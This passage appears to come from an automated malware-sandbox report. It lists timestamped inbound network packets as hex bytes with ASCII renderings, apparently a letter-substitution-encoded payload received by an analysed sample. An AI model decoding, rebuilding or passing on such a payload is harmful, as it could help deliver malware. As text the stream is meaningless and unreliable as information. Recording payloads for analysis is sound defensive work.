4f 52 20 6f 59 Data Ascii: EQ RO tx RY OOR RQ QQ OEO EE O YY ok Ooo OQR OoK Rt YO Otk Et Et RQ RY OOR RQ OOk OEO EE O YY KK OxR OYx OoK Rt YO YE RO Otk RQ RY OOR OQQ QR OtY EE O YY ORO Qt OxO Oot Rt YO Qk RE EY tx RY OOR ooY Oxo oEY EE O YY Y Qt Oto OoK Rt YO ook Et Et RQ RY OOR oY
2021-11-09 21:21:48 UTC	146	IN	Data Raw: 74 4f 20 6f 4b 59 20 4f 6f 4f 20 6f 78 20 59 78 20 59 52 20 4f 4f 45 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 4f 6f 20 6b 78 20 4b 4f 20 4f 6b 59 20 45 4b 20 4b 51 20 4f 4f 4b 20 74 45 20 4b 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 6b 4b 20 45 20 4f 78 6b 20 45 78 20 4f 78 78 20 6b 4b 20 4b 6b 20 52 52 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 78 20 4f 6b 51 20 59 20 4f 6b 6f 20 52 4b 20 6f 4f 20 4f 4f 74 20 6f 78 4f 20 59 4f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 4f 4b 20 6f 4b 59 20 4f 4f 52 20 45 20 45 6b 20 6b 6b 20 59 78 20 6f 45 6b 20 6f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 4b 6b 20 6f 6f 6b 20 78 20 45 51 20 4f 78 6f 20 6f 6b 20 4f 78 51 Data Ascii: tO oKY OoO ox Yx YR OOE YK kK OOK OOt oEY OOo kx KO OkY EK KQ OOK tE KR OOo Yx Kk Yx OtR kK E Oxk Ex Oxx kK Kk RR OOt kK OOK OOt OxQ oKR Yx OkQ Y Oko RK oO OOt oxO YO Yx Kk Yx YK oOx OOK oKY OOR E Ek kk Yx oEk oE OOK OOt OxQ OOo Okx Kk ook x EQ Oxo ok OxQ
2021-11-09 21:21:48 UTC	150	IN	Data Raw: 74 6f 20 6b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 4f 74 20 4f 52 74 20 74 74 20 4f 52 4b 20 45 74 20 4f 6b 20 59 59 20 4f 59 74 20 6f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 4b 6f 20 4f 6b 4b 20 51 52 20 4f 4f 59 20 4f 4f 74 20 74 52 20 4f 4f 45 20 6f 45 78 20 6b 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 74 51 20 4f 78 51 20 4f 51 20 78 20 4f 74 74 20 45 51 20 6f 45 20 6b 59 20 4b 6f 20 6f 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4b 4b 20 59 4b 20 6f 45 52 20 74 4b 20 6f 59 4b 20 4f 6f 78 20 6b 45 20 59 4f 20 51 6f 20 6b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 45 78 20 6b 20 4f 74 45 20 45 59 20 4f 4f 51 20 4f 4f 59 20 4f 20 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 Data Ascii: to kY Kk Yx YK kK oKK OOt ORt tt ORK Et Ok YY OYt oO OOt OxQ OOo Yx Oko Ko OkK QR OOY OOt tR OOE oEx kt Yx YK kK OOK OtQ OxQ OQ x Ott EQ oE kY Ko oQ OxQ OOo Yx Kk oKK YK oER tK oYK Oox kE YO Qo kQ YK kK OOK OOt oEY Oox oEx k OtE EY OOQ OOY O R OOo Yx Kk Y
2021-11-09 21:21:48 UTC	154	IN	Data Raw: 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 74 59 20 4f 51 20 6f 74 20 6b 74 20 6f 4f 20 4f 4f 52 20 4f 6b 4f 20 6f 78 6b 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 78 52 20 6f 59 4f 20 6b 51 20 4f 4f 45 20 59 78 20 6b 6b 20 59 4f 20 6f 4f 4b 20 6f 4b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 6f 45 59 20 59 6b 20 4f 59 74 20 4f 4f 4b 20 6f 51 20 4f 78 6b 20 4f 59 6f 20 4f 4b 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 4f 4b 78 20 4f 6f 4b 20 45 4b 20 4b 6b 20 51 78 20 59 59 20 4f 52 59 20 6f 4f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 4f 45 20 6b 78 20 4f 6b 74 20 4f 4f 74 20 4b 20 4f 4f 45 20 6f 78 45 20 4f 4b 4b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f Data Ascii: t OxQ oEx Yx OtY OQ ot kt oO OOR OkO oxk Yx Kk Yx YK oOx OxR oYO kQ OOE Yx kk YO oOK oKK OOK OOt OxQ OOo Okx YR oEY Yk OYt OOK oQ Oxk OYo OKR Kk Yx YK kK oKK OoY OKx OoK EK Kk Qx YY ORY oOx OOt OxQ OOo Yx Oko Yk OOE kx Okt OOt K OOE oxE OKK Yx YK kK OOK o
2021-11-09 21:21:48 UTC	158	IN	Data Raw: 20 51 6f 20 6f 4b 78 20 4f 4f 45 20 6f 4b 4b 20 4f 4f 45 20 74 20 4f 4b 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 6f 78 59 20 59 6b 20 59 45 20 59 78 20 4f 74 59 20 6b 59 20 74 52 20 6f 4f 4b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 78 4b 20 4f 6f 4f 20 4f 6b 6b 20 4f 78 51 20 6f 45 4b 20 59 4f 20 4f 4f 6b 20 4f 4b 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 4f 4f 6b 20 59 51 20 45 4b 20 59 4b 20 6f 78 52 20 4f 4f 59 20 59 6b 20 6f 78 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 74 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 4f 52 51 20 4b 51 20 4f 78 4f 20 4f 4b 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 6b 20 4f 4f 51 20 59 4b 20 Data Ascii: Qo oKx OOE oKK OOE t OKt Yx YK kK OOK oKE OxO oxY Yk YE Yx OtY kY tR oOK OxQ OOo Yx Kk Okx Ro OxK OoO Okk OxQ oEK YO OOk OKY YK kK OOK OOt oEY Oox OOk YQ EK YK oxR OOY Yk oxR OOo Yx Kk Yx OtR tR oYo RY Oxk OOo ORQ KQ OxO OKQ kK OOK OOt OxQ oKR Yk OOQ YK
2021-11-09 21:21:48 UTC	161	IN	Data Raw: 51 6b 20 6f 4f 59 20 4f 4f 45 20 4f 45 45 20 4f 59 78 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 4f 78 52 20 4b 51 20 74 6b 20 45 74 20 4f 4b 4f 20 6b 59 20 6f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 4f 51 20 4f 4f 45 20 6f 59 45 20 4f 6f 6f 20 6f 78 45 20 59 4f 20 6f 4b 6b 20 4f 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 59 78 20 59 6f 20 4f 78 6f 20 45 45 20 6f 45 6f 20 4f 4f 59 20 4f 52 59 20 6f 78 45 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 51 6f 20 4f 52 45 20 4f 4f 45 20 59 4f 20 4f 78 45 20 4f 4b 6f 20 4b 51 20 6f 45 59 20 4f 4b 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 6b 20 6f 6b 20 59 45 20 74 6f 20 52 74 Data Ascii: Qk oOY OOE OEE OYx Yx YK kK OOK oKE OxO OxR KQ tk Et OKO kY oxY oOO OxQ OOo Yx Kk Okx Ro OOQ OOE oYE Ooo oxE YO oKk OKk YK kK OOK OOt oEY Oox oYx Yo Oxo EE oEo OOY ORY oxE OOo Yx Kk Yx OtR Qo ORE OOE YO OxE OKo KQ oEY OKK kK OOK OOt OxQ oKR Yk ok YE to Rt
2021-11-09 21:21:48 UTC	165	IN	Data Raw: 6b 6f 20 4f 4f 59 20 6b 4b 20 4f 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 74 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 6f 78 6b 20 4b 51 20 6f 74 20 4f 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 45 20 59 78 20 4f 45 78 20 4b 51 20 51 6b 20 52 74 20 4f 4b 4b 20 4f 4f 52 20 51 4f 20 6f 4f 6b 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 59 20 4f 4f 4b 20 6f 45 51 20 4f 78 4f 20 4f 6b 51 20 45 74 20 6f 4f 78 20 59 4f 20 4f 4f 74 20 6f 59 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 74 74 20 4b 6b 20 4f 4b 6f 20 59 6b 20 4f 45 4f 20 4f 78 4f 20 4f 59 4f 20 4f 78 6b 20 45 6f 20 4f 59 6f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4f 20 4f 4f 74 20 52 74 20 4f 6f 74 20 6f 4f 4f 20 45 51 20 6f 78 6b 20 59 Data Ascii: ko OOY kK OQQ OOo Yx Kk Yx OtR tR oYo RY Oxk OOo oxk KQ ot OYR kK OOK OOt OxQ oKE Yx OEx KQ Qk Rt OKK OOR QO oOk Yx Kk Yx YK oOY OOK oEQ OxO OkQ Et oOx YO OOt oYK OOK OOt OxQ OOo Ott Kk OKo Yk OEO OxO OYO Oxk Eo OYo Kk Yx YK kK oKO OOt Rt Oot oOO EQ oxk Y
2021-11-09 21:21:48 UTC	169	IN	Data Raw: 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 4b 20 6b 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 78 6f 20 4b 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 74 4b 20 4f 4f 45 20 59 6f 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 45 4f 20 51 6f 20 59 78 20 4f 52 20 4b 6b 20 59 4b 20 6b 6f 20 4f 78 59 20 4f 4f 74 20 74 74 20 4f 4f 59 20 59 78 20 6f 78 6f 20 45 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 6f 4b 4b 20 74 6f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 4f 45 20 51 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4b 59 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 51 78 20 59 78 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 6f 4b 6b 20 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 59 20 59 78 20 4f 4b 6b 20 4f 4f 4b 20 59 4b 20 6b 4b 20 4f Data Ascii: YK kK OOY OOt OxK kO Yx Kk YO YK oxo KQ OOt OxQ OOE Yx OtK OOE Yo kK OOY OOt EO Qo Yx OR Kk YK ko OxY OOt tt OOY Yx oxo EO YK kK OOk OOt oKK to Yx Kk YO YK oOE QK OOt OxQ OOK Yx OKY Ox YK kK OOY OOt Qx Yx Yx Kk Kk YK oKk Yx OOt OxQ OOY Yx OKk OOK YK kK O
2021-11-09 21:21:48 UTC	173	IN	Data Raw: 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f Data Ascii: OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OO
2021-11-09 21:21:48 UTC	178	IN	Data Raw: 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b Data Ascii: kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK
2021-11-09 21:21:48 UTC	182	IN	Data Raw: 59 59 20 4b 6b 20 52 6b 20 51 20 4f 6f 78 20 4f 4f 4b 20 51 74 20 4f 78 51 20 6f 4b 78 20 52 20 51 20 59 78 20 74 4f 20 6b 59 20 6f 4b 6f 20 52 59 20 4b 74 20 4f 4f 6f 20 74 59 20 4b 51 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 4f 52 4b 20 4f 78 6b 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 6b 45 20 6b 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 4f 6b 74 20 59 78 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 6f 6f 6b 20 4f 4f 4f 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 74 59 20 6b 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 4f 59 59 20 59 78 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 4f 78 59 20 4f 78 51 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 6b 20 6b 4b 20 6f 59 6f 20 52 59 20 6f 59 20 4f 4f 6f 20 4f 45 51 20 59 78 20 51 6b 20 4f 4f 20 4b 52 Data Ascii: YY Kk Rk Q Oox OOK Qt OxQ oKx R Q Yx tO kY oKo RY Kt OOo tY KQ Okk o kY OOK ORK Oxk oYK R KQ Yx OkE kR oYo RY Oxk OOo Okt Yx Okk o kY OOK ook OOO oYK R KQ Yx OtY kR oYo RY Oxk OOo OYY Yx Okk o kY OOK OxY OxQ oYK R KQ Yx Ok kK oYo RY oY OOo OEQ Yx Qk OO KR
2021-11-09 21:21:48 UTC	186	IN	Data Raw: 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 78 20 6b 4b 20 45 4b 20 6b 59 20 6f 78 6b 20 4f 4f 4b 20 6f 4b 45 20 59 78 20 4f 59 52 20 4f 4f 20 6f 6f 20 4f 6f 6f 20 4b 4f 20 4f 78 6b 20 45 59 20 4b 4f 20 52 6b 20 59 4f 20 4f 78 20 6b 4b 20 6f 59 6f 20 52 59 20 6f 78 6b 20 4f 4f 4b 20 45 59 20 59 4f 20 4f 4f 74 20 6f 78 20 4f 51 45 20 4f 4f 45 20 4f 74 20 4f 78 6b 20 6f 59 4b 20 52 20 52 6b 20 59 78 20 51 78 20 6b 59 20 6f 4b 6f 20 52 59 20 6b 4b 20 4f 4f 6f 20 74 78 20 4b 51 20 52 6b 20 51 20 4f 4f 59 20 4f 4f 4b 20 51 20 4f 78 6b 20 4f 4f 51 20 4f 4f 6f 20 6f 45 20 59 78 20 74 4b 20 6b 59 20 4f 4f 59 20 6b 6f 20 4f 74 4f 20 4f 6f 78 20 6f 4b 45 20 59 78 20 6f 45 4b 20 4f 78 20 4f 59 51 20 4f 6f 6f 20 4f 45 6f 20 4f 4f 4f 20 45 59 20 4f 52 20 4b 6b 20 4b 51 Data Ascii: oYK R KQ Yx Ox kK EK kY oxk OOK oKE Yx OYR OO oo Ooo KO Oxk EY KO Rk YO Ox kK oYo RY oxk OOK EY YO OOt ox OQE OOE Ot Oxk oYK R Rk Yx Qx kY oKo RY kK OOo tx KQ Rk Q OOY OOK Q Oxk OOQ OOo oE Yx tK kY OOY ko OtO Oox oKE Yx oEK Ox OYQ Ooo OEo OOO EY OR Kk KQ
2021-11-09 21:21:48 UTC	190	IN	Data Raw: 4b 20 52 6f 20 45 78 20 6f 4b 74 20 52 4f 20 6f 78 74 20 6b 4f 20 6b 74 20 74 45 20 51 4b 20 4f 6f 59 20 59 59 20 4b 6b 20 6b 6f 20 59 4b 20 4f 6b 51 20 4f 6f 59 20 4f 4f 6f 20 4f 78 51 20 6f 78 20 59 78 20 6f 4f 51 20 52 4f 20 59 4f 20 6b 4b 20 6f 52 20 4f 4f 74 20 4f 6f 6b 20 4f 6f 74 20 59 59 20 4b 6b 20 51 4b 20 59 4b 20 4f 6b 74 20 4f 6f 59 20 4f 78 45 20 4f 78 51 20 51 45 20 59 4f 20 4f 51 45 20 52 4f 20 45 52 20 6b 4b 20 74 59 20 4f 4f 52 20 4f 59 52 20 4f 6f 74 20 59 6b 20 4b 6b 20 4f 4f 78 20 59 59 20 4f 52 59 20 4f 6f 59 20 4f 6f 59 20 4f 78 51 20 4f 52 20 59 4f 20 4f 51 6b 20 52 4f 20 52 6f 20 6b 4b 20 6f 52 20 4f 4f 52 20 4f 59 52 20 4f 6f 74 20 59 6b 20 4b 6b 20 51 4b 20 59 59 20 4f 52 6f 20 4f 6f 59 20 4f 6f 59 20 4f 78 51 20 78 20 59 4f 20 Data Ascii: K Ro Ex oKt RO oxt kO kt tE QK OoY YY Kk ko YK OkQ OoY OOo OxQ ox Yx oOQ RO YO kK oR OOt Ook Oot YY Kk QK YK Okt OoY OxE OxQ QE YO OQE RO ER kK tY OOR OYR Oot Yk Kk OOx YY ORY OoY OoY OxQ OR YO OQk RO Ro kK oR OOR OYR Oot Yk Kk QK YY ORo OoY OoY OxQ x YO
2021-11-09 21:21:48 UTC	193	IN	Data Raw: 59 6f 20 4f 78 4f 20 4f 51 59 20 59 78 20 4f 6f 52 20 4b 78 20 4f 4b 51 20 51 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 59 59 20 59 52 20 4f 6f 51 20 59 4b 20 4f 78 20 4f 78 4b 20 4f 6b 6f 20 4f 78 4f 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 59 59 20 51 6f 20 4f 51 45 20 4f 4f 74 20 6b 45 20 4f 78 52 20 6f 78 51 20 59 52 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 59 52 20 4f 78 4f 20 4f 51 59 20 59 78 20 4f 6f 52 20 4b 78 20 59 45 20 51 45 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 59 4b 20 59 74 20 51 74 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 6f 4b 20 4f 78 78 20 4f 51 59 20 59 78 20 4f 4f 78 20 4b 78 20 45 4f 20 51 45 20 4f 51 45 20 4f 4f 74 20 6b 45 20 4f 78 52 20 4f 6f 45 20 59 74 20 4f 6f 51 20 59 4b 20 6f 52 20 4f 78 4b Data Ascii: Yo OxO OQY Yx OoR Kx OKQ Qo KQ OOt OYY Oot OYY YR OoQ YK Ox OxK Oko OxO YO Yx OQk RO oYY Qo OQE OOt kE OxR oxQ YR OOE YK ORo OoY OYR OxO OQY Yx OoR Kx YE QE KQ OOt OYY Oot YK Yt Qt YK ORo OoY OoK Oxx OQY Yx OOx Kx EO QE OQE OOt kE OxR OoE Yt OoQ YK oR OxK
2021-11-09 21:21:48 UTC	197	IN	Data Raw: 20 4f 51 6b 20 52 4f 20 4f 59 78 20 4f 4f 4b 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 4b 6f 20 6f 6f 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 4b 51 20 74 59 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 59 4b 20 4f 4f 59 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 6b 20 6f 45 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 59 45 20 74 4b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 6b 6f 20 4f 4f 59 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4b 52 20 6f 45 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 6b 4f 20 74 4b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 4f 4b 20 4f 4f 59 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 59 78 20 6f 4b 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6b 59 20 52 51 20 59 4f 20 59 78 Data Ascii: OQk RO OYx OOK KQ OOt OYY Oot oKo oo OOE YK ORo OoY OKQ tY YO Yx OQk RO YK OOY KQ OOt OYY Oot Ok oE OOE YK ORo OoY YE tK YO Yx OQk RO Oko OOY KQ OOt OYY Oot OKR oE OOE YK ORo OoY OkO tK YO Yx OQk RO oOK OOY KQ OOt OYY Oot Yx oK OOE YK ORo OoY kY RQ YO Yx
2021-11-09 21:21:48 UTC	201	IN	Data Raw: 6f 45 20 4f 4f 6f 20 59 4f 20 4b 6b 20 4b 6f 20 52 4f 20 6b 4b 20 4f 4f 4b 20 4f 4b 20 4f 78 51 20 59 59 20 59 78 20 74 4b 20 59 4f 20 4f 45 59 20 6b 59 20 4f 59 45 20 4f 4f 52 20 4f 6f 59 20 4f 4f 4b 20 6b 20 59 78 20 4f 4f 6b 20 59 6f 20 59 6f 20 4f 4f 6f 20 6f 78 51 20 4f 4f 4f 20 4f 6b 4b 20 4b 6b 20 4f 51 52 20 4b 6b 20 45 74 20 6b 74 20 52 4b 20 4f 4f 6b 20 45 6f 20 4f 4f 59 20 4f 4f 4f 20 59 4f 20 6f 4b 4f 20 59 45 20 4f 74 52 20 4f 4f 45 20 4f 45 6f 20 4f 4f 78 20 4f 4f 51 20 59 4b 20 45 59 20 59 4b 20 4b 6f 20 6b 78 20 52 4b 20 4f 4f 45 20 6b 4b 20 4f 4f 52 20 4f 78 4b 20 59 6f 20 4f 6b 78 20 59 78 20 4f 51 59 20 4f 4f 6b 20 4f 4f 59 20 4f 78 4b 20 4f 6f 6f 20 59 59 20 4b 59 20 59 59 20 4f 78 59 20 6b 4f 20 6f 6f 4b 20 4f 4f 6f 20 6f 4f 74 20 4f Data Ascii: oE OOo YO Kk Ko RO kK OOK OK OxQ YY Yx tK YO OEY kY OYE OOR OoY OOK k Yx OOk Yo Yo OOo oxQ OOO OkK Kk OQR Kk Et kt RK OOk Eo OOY OOO YO oKO YE OtR OOE OEo OOx OOQ YK EY YK Ko kx RK OOE kK OOR OxK Yo Okx Yx OQY OOk OOY OxK Ooo YY KY YY OxY kO ooK OOo oOt O
2021-11-09 21:21:48 UTC	205	IN	Data Raw: 4b 51 20 59 78 20 51 20 6b 59 20 59 4f 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 4f 4f 4b 20 4b 51 20 4f 4f 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 59 6f 20 4f 78 6b 20 59 4f 20 59 78 20 59 78 20 59 78 20 4f 4f 52 20 6b 59 20 59 59 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 4f 4f 45 20 4b 51 20 4f 4f 51 20 59 4b 20 6b 52 20 4f 4f 4b 20 4b 6b 20 4f 78 6b 20 59 59 20 59 78 20 4b 51 20 59 78 20 4f 4f 6f 20 6b 59 20 59 45 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 4f 4f 74 20 4b 51 20 4f 6f 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 52 4f 20 4f 78 6b 20 59 74 20 59 78 20 59 78 20 59 78 20 4f 6f 74 20 6b 59 20 59 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 4f 6f 78 20 4b 51 20 4f 6f 4f 20 59 4b 20 6b 52 20 4f 4f 4b 20 45 52 20 4f 78 6b 20 52 4f 20 59 78 20 4b 51 20 59 78 20 4f 78 78 Data Ascii: KQ Yx Q kY YO OOt OOO OOo OOK KQ OOE YK kY OOK Yo Oxk YO Yx Yx Yx OOR kY YY OOt Oxk OOo OOE KQ OOQ YK kR OOK Kk Oxk YY Yx KQ Yx OOo kY YE OOt OOO OOo OOt KQ OoE YK kY OOK RO Oxk Yt Yx Yx Yx Oot kY Yt OOt Oxk OOo Oox KQ OoO YK kR OOK ER Oxk RO Yx KQ Yx Oxx
2021-11-09 21:21:48 UTC	210	IN	Data Raw: 4f 51 74 20 4f 4f 59 20 4f 4f 74 20 6f 4f 4b 20 4f 4f 6f 20 6f 59 4b 20 4f 52 4f 20 59 4f 20 59 4b 20 6f 45 6f 20 4f 4f 4b 20 4f 52 51 20 6f 59 6f 20 4f 4f 45 20 59 78 20 4f 4b 4f 20 59 78 20 4f 51 4b 20 4f 51 74 20 4f 4f 59 20 4f 4f 74 20 6f 4f 4f 20 4f 4f 6f 20 59 4b 20 4f 52 6f 20 59 4f 20 59 4b 20 6f 45 59 20 4f 4f 4b 20 4f 6f 4f 20 6f 59 59 20 4f 4f 45 20 59 78 20 6f 4b 78 20 59 78 20 4b 6f 20 4f 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 74 6f 20 4f 4f 6f 20 4f 4b 20 4f 52 6f 20 59 4f 20 59 4b 20 4f 59 78 20 4f 4f 4b 20 45 45 20 6f 59 59 20 4f 4f 45 20 59 78 20 6f 4b 45 20 59 78 20 52 52 20 4f 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 52 51 20 4f 4f 6f 20 4f 59 78 20 4f 52 6f 20 59 4f 20 59 4b 20 4f 4b 59 20 4f 4f 4b 20 4f 74 74 20 6f 59 4b 20 4f 4f 45 20 59 78 Data Ascii: OQt OOY OOt oOK OOo oYK ORO YO YK oEo OOK ORQ oYo OOE Yx OKO Yx OQK OQt OOY OOt oOO OOo YK ORo YO YK oEY OOK OoO oYY OOE Yx oKx Yx Ko OQk OOY OOt Oto OOo OK ORo YO YK OYx OOK EE oYY OOE Yx oKE Yx RR OQk OOY OOt ORQ OOo OYx ORo YO YK OKY OOK Ott oYK OOE Yx
